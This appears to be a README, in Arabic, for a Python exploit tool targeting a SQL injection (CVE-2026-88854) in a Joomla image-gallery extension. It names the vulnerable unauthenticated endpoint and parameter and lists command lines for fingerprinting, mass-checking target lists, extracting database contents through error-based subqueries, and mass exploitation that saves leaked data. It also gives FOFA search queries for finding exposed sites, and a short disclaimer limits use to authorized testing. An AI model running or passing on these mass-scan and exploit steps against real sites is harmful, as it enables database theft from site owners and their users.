CVE-2026-88854 — حقن SQL في OrdaSoft Joomla Gallery

ماسح/مستغل PoC بلغة Python 3 لـ CVE-2026-88854 في OrdaSoft OS Responsive Image Gallery الخاص بـ Joomla.

الملخص

تقرأ showSearchResult() / showSearchResultAjax() القيمتين textsearch / searchText عبر $input->getVar()، والتي لا تطبّق تهريب SQL المناسب. يتم دمج القيمة في جملة LIKE. يمكن للزوار غير المصادق عليهم استخدام حقن من نوع UNION لقراءة محتويات قاعدة البيانات.

سطح الطلب النموذجي:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

قد تستخدم التثبيتات القديمة اسم المهمة searhResult (خطأ إملائي).

المتطلبات

• Python 3.9+
• pip install -r requirements.txt

الاستخدام

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

خيارات CLI

المخرجات (الفحص الجماعي)

قيم status الشائعة (check)

تدقيق ما بعد الفحص (audit_scan.py)

بعد إجراء check جماعي، شغّل audit_scan.py لإعادة جلب ملفات manifest الخاصة بالمسؤول وتقسيم الأهداف:

يُقرأ إصدار المعرض من عنصر <version> في administrator/components/com_osgallery/osgallery.xml، وليس من سمة extension version= الخاصة بـ Joomla.

القيود

• يستخدم وضع Exploit دالة EXTRACTVALUE القائمة على الخطأ في MySQL؛ قد لا ينتج MariaDB/Postgres أو الأخطاء المعطّلة أو WAF أي تسريب حتى عندما ينطبق CVE.
• فروق الطول المنطقية وحدها لا تُعتبر حقن SQL مؤكدًا (تسبب ModSecurity 406 في نتائج إيجابية خاطئة أثناء الاختبار).
• إصدار manifest ≤ 6.2.6 يشير إلى نافذة التعرّض، وليس إلى حقن SQL قابل للاستغلال بشكل مضمون على كل مضيف.
• تتطلب تثبيتات Joomla في مجلدات فرعية عنوان URL أساسيًا صحيحًا (مثل https://host/site).

تلميحات FOFA / الاكتشاف

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

هيكل المستودع

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

قوائم الأهداف المحلية ومخرجات التشغيل (list.txt، fofa*.csv، *.jsonl، hits*.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.

المراجع

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

قانوني

لـ اختبارات الأمان المصرّح بها فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.